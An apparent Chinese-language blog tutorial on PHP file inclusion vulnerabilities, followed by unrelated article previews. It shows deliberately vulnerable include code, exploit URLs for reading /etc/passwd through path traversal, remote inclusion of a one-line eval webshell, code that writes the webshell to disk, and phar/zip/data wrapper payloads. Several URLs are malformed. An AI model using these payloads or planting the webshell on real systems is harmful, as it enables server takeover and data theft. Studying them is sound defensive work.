当前位置: 首页 > news >正文

基于PHP的文件包含介绍

引言:在实际开发过程中,经常会遇到部分模块功能需要重复使用的情况,比如数据库的增删改查,文件包含通过将需要重复使用的功能模块代码引入其他文件的内容,实现重用代码、分离配置等。然而,如果文件包含操作不当,可能会引发所谓的文件包含漏洞,导致安全问题。

一、本地文件包含

这种类型的文件包含漏洞允许攻击者访问本地文件系统上的文件
利用需要满足的条件:

  • 1.php.init中的allow_url_fopen=On(默认开启)
  • 2.用户参数可控且后台代码没有对包含的文件进行过滤

例子: 

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:

<?php#本地文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";
?>

利用方式:

1.将txt的文件内容转换成PHP代码执行

http://127.0.0.1:8082/file_include.php?filename=phpinfo.txt

2.利用文件包含获取系统敏感文件内容

http://127.0.0.1:8082/file_include.php?filename=/etc/passwd

http://127.0.0.1:8082/file_include.php?filename=../../../../../../../etc/passwd

二、远程文件包含

此类型允许攻击者通过包含远程URL来执行代码。

利用需要满足的条件条件

  • php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启
  •  用户参数可控且后台代码没有对包含的文件进行过滤

例子: 

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:


#远程文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启 
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";

 利用方式:

1.直接包含jd页面,跳转到jd页面

http://127.0.0.1:8082/file_include.php?filename=http://jd.com

2.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.php文件 ,shell.php文件的内容为<?php @eval($_GET['code']);?>

http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.21/test/shell.php?code=phpinfo();    注意:此时执行的是127.0.0.1的phpinfo()命令

3.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.txt文件 ,shell.txt文件的内容为<?php @eval($_GET['code']);?>   注意:此时执行的是192.168.3.1的phpinfo()命令

http://127.0.0.1:8082/file_include.phpfilename=http:192.168.3.1/test/shell.txt&code=phpinfo();

3.在任意服务器上写入一段木马程序

在opt/phpstudy_pro/WWW/test目录下如一句化木马

 file_put_contents("opt/phpstudy_pro/WWW/test",'<?php @eval($_GET["code"]);?>');

访问http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.1/test/shell.php?code=phpinfo();

三、伪协议 

  • 1.file://伪协议用于访问本地文件系统中的文件。这个伪协议可以直接操作本地文件,包括读取、写入等操作。
  • 2.http:// 和 https:// 伪协议用于发送HTTP请求并获取远程资源的内容。这包括获取网页内容、向远程服务器发送数据等。
  • 3.ftp://伪协议用于访问和操作FTP服务器上的文件。这包括上传、下载、删除等文件操作。
  • 4.php://伪协议用于访问各种输入/输出流。例如,php://input用于读取POST请求的原始数据,php://output用于写入输出缓冲区的数据
  • 5.data://伪协议用于在脚本中直接嵌入数据。这个伪协议允许开发者在代码中直接定义和使用数据,而无需借助外部文件。
  • 6.glob://伪协议用于查找匹配特定模式的文件路径。这对于搜索符合某个通配符规则的文件非常有用
  • 7.phar://伪协议用于操作PHP归档文件。这是一种将多个PHP文件打包成一个单一文件的方式,方便分发和部署。
  • 8.ssh2://伪协议用于通过SSH2协议访问远程资源。这主要用于安全地访问和操作远程服务器上的文件和数据。
  • 9.rar://伪协议用于操作RAR压缩文件。这允许开发者在PHP中直接读取和处理RAR文件。
  • 10.ogg://伪协议用于处理音频流。这允许开发者在PHP中直接读取和操作音频数据流。
  • 11.expect://伪协议用于处理交互式数据流。这允许与需要用户交互的应用程序进行通信,如命令行程序提示输入用户名和密码等情况。

常用的伪协议

1.phar://主要用于在PHP对压缩文件的读取,用法就是把一句话木马压缩成zip格式,shell.txt->shell.zip 将文件上传到服务器目录下

http://127.0.0.1:8082/file_include.php?filename=phar://shell.zip/shell.txt

2.zip:// 原理和phar:// 差不多      注意:压缩的/符号要改成#的url编码,也就是%23

// http://127.0.0.1:8082/file_include.php?filename=zip://shell.zip%23shell.txt

3.data:// 本身是数据流封装器,其原理和php://input类似,但是是发送GET请求参数

http://127.0.0.1:8082/file_include.php?filename=data://test/plain,<?php phpinfo(); ?>

相关文章:

基于PHP的文件包含介绍

引言&#xff1a;在实际开发过程中&#xff0c;经常会遇到部分模块功能需要重复使用的情况&#xff0c;比如数据库的增删改查&#xff0c;文件包含通过将需要重复使用的功能模块代码引入其他文件的内容&#xff0c;实现重用代码、分离配置等。然而&#xff0c;如果文件包含操作…...

K7系列FPGA多重启动(Multiboot)

Xilinx 家的 FPGA 支持多重启动功能&#xff08;Multiboot&#xff09;&#xff0c;即可以从多个 bin 文件中进行选择性加载&#xff0c;从而实现对系统的动态更新&#xff0c;或系统功能的动态调整。 这一过程可以通过嵌入在 bit 文件里的 IPROG 命令实现上电后的自动加载。而…...

关于武汉芯景科技有限公司的RS232通信接口芯片XJ3243EEUI开发指南(兼容MAX3243EEUI)

一、芯片引脚介绍 1.芯片引脚 2.引脚描述 二、典型应用电路 三、功能描述 1.Transmitter 通过T1&#xff0c;T2可以将TTL电平转换为RS232电平 2.Receiver 通过R1&#xff0c;R2可以将RS232电平转换为TTL电平 3.工作模式控制 4.INVALID引脚...

TreeSize Free:你的免费磁盘空间管理专家

TreeSize Free是一款专为Windows用户设计的磁盘空间分析工具。它能够帮助用户快速识别并管理那些占用大量空间的文件夹和文件。 功能亮点 快速扫描&#xff1a;TreeSize Free能够迅速扫描整个磁盘卷&#xff0c;展示所有文件夹及其子文件夹的大小&#xff0c;甚至可以细化到单…...

python办公自动化:初识`python-docx`

1.1 什么是python-docx python-docx是一个用于在Python中创建和操作Word文档的库。它提供了一组简洁的API&#xff0c;让开发者可以轻松地生成、修改、和读取Microsoft Word (.docx)文件&#xff0c;而不需要安装Microsoft Office。这使得python-docx成为办公自动化、报告生成…...

LeetCode 算法:划分字母区间 c++

原题链接&#x1f517;&#xff1a;划分字母区间难度&#xff1a;中等⭐️⭐️ 题目 给你一个字符串 s 。我们要把这个字符串划分为尽可能多的片段&#xff0c;同一字母最多出现在一个片段中。 注意&#xff0c;划分结果需要满足&#xff1a;将所有划分结果按顺序连接&#…...

PMP备考指南:策略、时间安排与心得分享

准备和时间安排&#xff0c;我是工作的时间把它顺便考了&#xff0c;大约花了一个月左右时间备考&#xff0c;前面的时间都在筹办婚礼&#xff0c;根本没时间&#xff0c;最后一个月都差点想放弃了&#xff0c;但想想还是冲一把就没有选择延考。 干货见下&#xff1a; ▌&…...

CentOS上通过frp实现HTTPS访问内网

要在CentOS上通过frp实现HTTPS访问内网&#xff0c;你需要按照以下步骤操作&#xff1a; 在外网服务器上安装frps&#xff08;frp服务端&#xff09;。 在外网服务器上配置frps&#xff0c;编辑配置文件frps.ini。 在frps服务器上启动frps服务。 在内网服务器上安装frpc&…...

短视频SDK解决方案,高效集成,助力商业变现

美摄科技&#xff0c;作为业界领先的多媒体技术服务商&#xff0c;其全面升级的短视频SDK解决方案&#xff0c;旨在为开发者与内容创作者提供一站式、高效能的创作工具&#xff0c;让每一个灵感都能瞬间转化为触动人心的视频作品。 【一站式解决方案&#xff0c;重塑短视频创作…...

C++系列-继承方式

继承方式 继承的语法继承方式&#xff1a;继承方式的特点继承方式的举例 继承可以减少重复的代码。继承允许我们依据另一个类来定义一个类&#xff0c;这使得创建和维护一个应用程序变得更容易。基类父类&#xff0c;派生类子类&#xff0c;派生类是在继承了基类的部分成员基础…...

web前端之选项卡的实现、动态添加类名、动态移除类名、动态添加样式、激活、间距、tabBar

MENU 原生(一)原生(二)vue(一) 原生(一) 效果图 html 代码 <div class"card"><div class"tab_bar"><div class"item" onclick"handleTabBar(this)">tabBar1</div><div class"item" onclick&qu…...

sql 优化,提高查询速度

文章目录 一、前言二、建议2.1 使用索引2.2 避免使用select *2.3. 使用表连接代替子查询2.4. 优化WHERE子句&#xff0c;减少返回结果集的大小2.5 用union all代替union2.6 使用合适的聚合策略2.7 避免在WHERE子句中使用函数2.8 使用EXPLAIN分析查询2.9 小表驱动大表2.10 使用窗…...

springboot后端开发-自定义参数校验器

背景 在使用springboot进行后端开发的时候&#xff0c;经常会遇到数据校验的问题&#xff0c; 有时候可能默认的校验器不足以满足自己的需求&#xff0c; 这个时候就需要开发一个自己的校验器 在 Spring Boot 中自定义参数校验器通常涉及以下几个步骤&#xff1a; 1. 定义注解…...

springboot社区帮扶对象管理系统论文源码调试讲解

第2章 开发环境与技术 社区帮扶对象管理系统的编码实现需要搭建一定的环境和使用相应的技术&#xff0c;接下来的内容就是对社区帮扶对象管理系统用到的技术和工具进行介绍。 2.1 MYSQL数据库 本课题所开发的应用程序在数据操作方面是不可预知的&#xff0c;是经常变动的&…...

EmguCV学习笔记 VB.Net 6.2 轮廓处理

版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请在显著位置标明本文出处以及作者网名&#xff0c;未经作者允许不得用于商业目的。 EmguCV是一个基于OpenCV的开源免费的跨平台计算机视觉库,它向C#和VB.NET开发者提供了OpenCV库的大部分功能。 教程VB.net版本请访问…...

【Python的魅力】:利用Pygame实现游戏坦克大战——含完整源码

文章目录 一、游戏运行效果二、代码实现2.1 项目搭建2.2 加载我方坦克2.3 加载敌方坦克2.4 添加爆炸效果2.5 坦克大战之音效处理 三、完整代码 一、游戏运行效果 二、代码实现 坦克大战游戏 2.1 项目搭建 本游戏主要分为两个对象&#xff0c;分别是我方坦克和敌方坦克。用户可…...

【机器学习】经典CNN架构

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 经典CNN架构1. 引言2. LeNet3. AlexNet4. VGGNet5. GoogLeNet(Inception)6. Res…...

图像数据处理21

五、边缘检测 5.2基于二阶导数的边缘检测 一阶导数&#xff08;如Sobel、Prewitt算子&#xff09;能够捕捉到灰度值的快速变化&#xff0c;但有时会因检测到过多的边缘点而导致边缘线过粗。为了更加精确地定位边缘位置&#xff0c;可以利用二阶导数的零交叉点。零交叉点是是函…...

day37动态规划+三.Github链接本地仓库

一.动态规划 474.一和零 给你一个二进制字符串数组 strs 和两个整数 m 和 n 。 请你找出并返回 strs 的最大子集的长度&#xff0c;该子集中 最多 有 m 个 0 和 n 个 1 。 如果 x 的所有元素也是 y 的元素&#xff0c;集合 x 是集合 y 的 子集 。 思路:这道题更像是另一种的0-…...

设备运维故障排查与修复技巧

运维中最常见的40个故障问题及其解决方法: 1. 网络不通问题:无法访问网络资源。 解决方法:检查物理线路、交换机端口、网卡驱动和配置,使用ping、traceroute等工具定位问题。 2. 网络速度慢问题:访问网络资源速度慢。 解决方法:分析带宽使用情况,检查是否存在广播风…...

Windows 正版系统安装(重装) - Win10(微星主板 - MSI)

一、启动盘制作 本文章为正版 Windows 安装系统流程&#xff0c;安装版本为 Windows 10 家庭版 官方免费版本&#xff01; Mac 制作 Win10 启动盘&#xff08;不推荐&#xff0c;因为 U盘 无法格式化为 NTFS&#xff0c;以前是可以选择 Microsoft NTFS 格式的&#xff0c;但是…...

10分钟快速上手:一站式AI变声神器RVC全平台部署终极指南

10分钟快速上手&#xff1a;一站式AI变声神器RVC全平台部署终极指南 【免费下载链接】Retrieval-based-Voice-Conversion-WebUI Easily train a good VC model with voice data < 10 mins! 项目地址: https://gitcode.com/GitHub_Trending/re/Retrieval-based-Voice-Conve…...

HunyuanVideo-Foley对比传统音效库:AI生成在成本与创意上的突破

HunyuanVideo-Foley对比传统音效库&#xff1a;AI生成在成本与创意上的突破 1. 音效制作的技术革命 影视制作中&#xff0c;音效设计一直是决定作品质感的关键环节。传统方式要么依赖昂贵的商业音效库&#xff0c;要么需要专业团队实地录制&#xff0c;成本高且周期长。Hunyu…...

嵌入式AI边缘部署雏形:STM32与PyTorch服务器协同的物体识别系统设计

嵌入式AI边缘部署雏形&#xff1a;STM32与PyTorch服务器协同的物体识别系统设计 1. 引言&#xff1a;当单片机遇上AI服务器 想象一下这样的场景&#xff1a;一个巴掌大的STM32开发板通过摄像头捕捉图像&#xff0c;瞬间将画面传送到云端服务器进行AI分析&#xff0c;再根据识…...

YOLOv12与MATLAB联合仿真:算法原型快速验证与性能分析

YOLOv12与MATLAB联合仿真&#xff1a;算法原型快速验证与性能分析 对于习惯在MATLAB环境中工作的算法工程师和研究人员来说&#xff0c;一个常见的痛点在于&#xff1a;当需要验证前沿的深度学习目标检测算法&#xff08;如最新的YOLOv12&#xff09;时&#xff0c;往往不得不…...

CCS工程报错找不到库?别慌,手把手教你用XGCONF和工程属性搞定RTSC/裸机配置

CCS工程报错找不到库&#xff1f;三步精准定位与RTSC/裸机配置全攻略 刚接触TI芯片开发的朋友们&#xff0c;一定遇到过这样的场景&#xff1a;官方例程跑得飞起&#xff0c;自己新建的工程却频频报出"library not found"的红色警告。这就像拿到一把新枪却发现子弹型…...

告别代码移植烦恼:STM32CubeMX 6.4.0 + STM32F407ZGT6 + YT8512C PHY芯片的LWIP网络配置全攻略

STM32F407ZGT6与YT8512C PHY芯片的LWIP网络适配实战指南 当硬件工程师将开发板上的PHY芯片从常见型号更换为YT8512C时&#xff0c;许多基于标准模板的LWIP网络代码会突然失效。这不是代码本身的问题&#xff0c;而是PHY芯片差异导致的底层驱动不匹配现象。本文将深入剖析YT8512…...

Flowable 实战:从零构建 Spring Boot 3 微服务审批系统

1. 为什么选择Flowable构建审批系统&#xff1f; 在开发企业级应用时&#xff0c;审批流程是绕不开的核心功能。传统硬编码的审批逻辑往往面临流程变更困难、状态追踪复杂等问题。我经历过一个报销系统升级项目&#xff0c;仅仅因为增加了副总经理审批环节&#xff0c;就导致整…...

文本三剑客命令手册

文本三剑客命令手册(grep、sed、awk) 一、grep — 文本搜索利器 基本语法 grep [选项] 模式 文件名常用选项 选项 说明 -i 忽略大小写 -v 反向匹配(显示不匹配的行) -n 显示匹配行的行号 -c 统计匹配行数 -l 只显示包含匹配的文件名 -L 只显示不包含匹配的文件名 -r / -R 递…...

打字不如说话,说话不如截图——AI 代码助手的多模态输入实践仝

整体排查思路 我们的目标是验证以下三个环节是否正常&#xff1a; 登录成功时&#xff1a;服务器是否正确生成了Session并返回了包含正确 JSESSIONID的Cookie给浏览器。 浏览器端&#xff1a;浏览器是否成功接收并存储了该Cookie。 后续请求&#xff1a;浏览器在执行查询等操作…...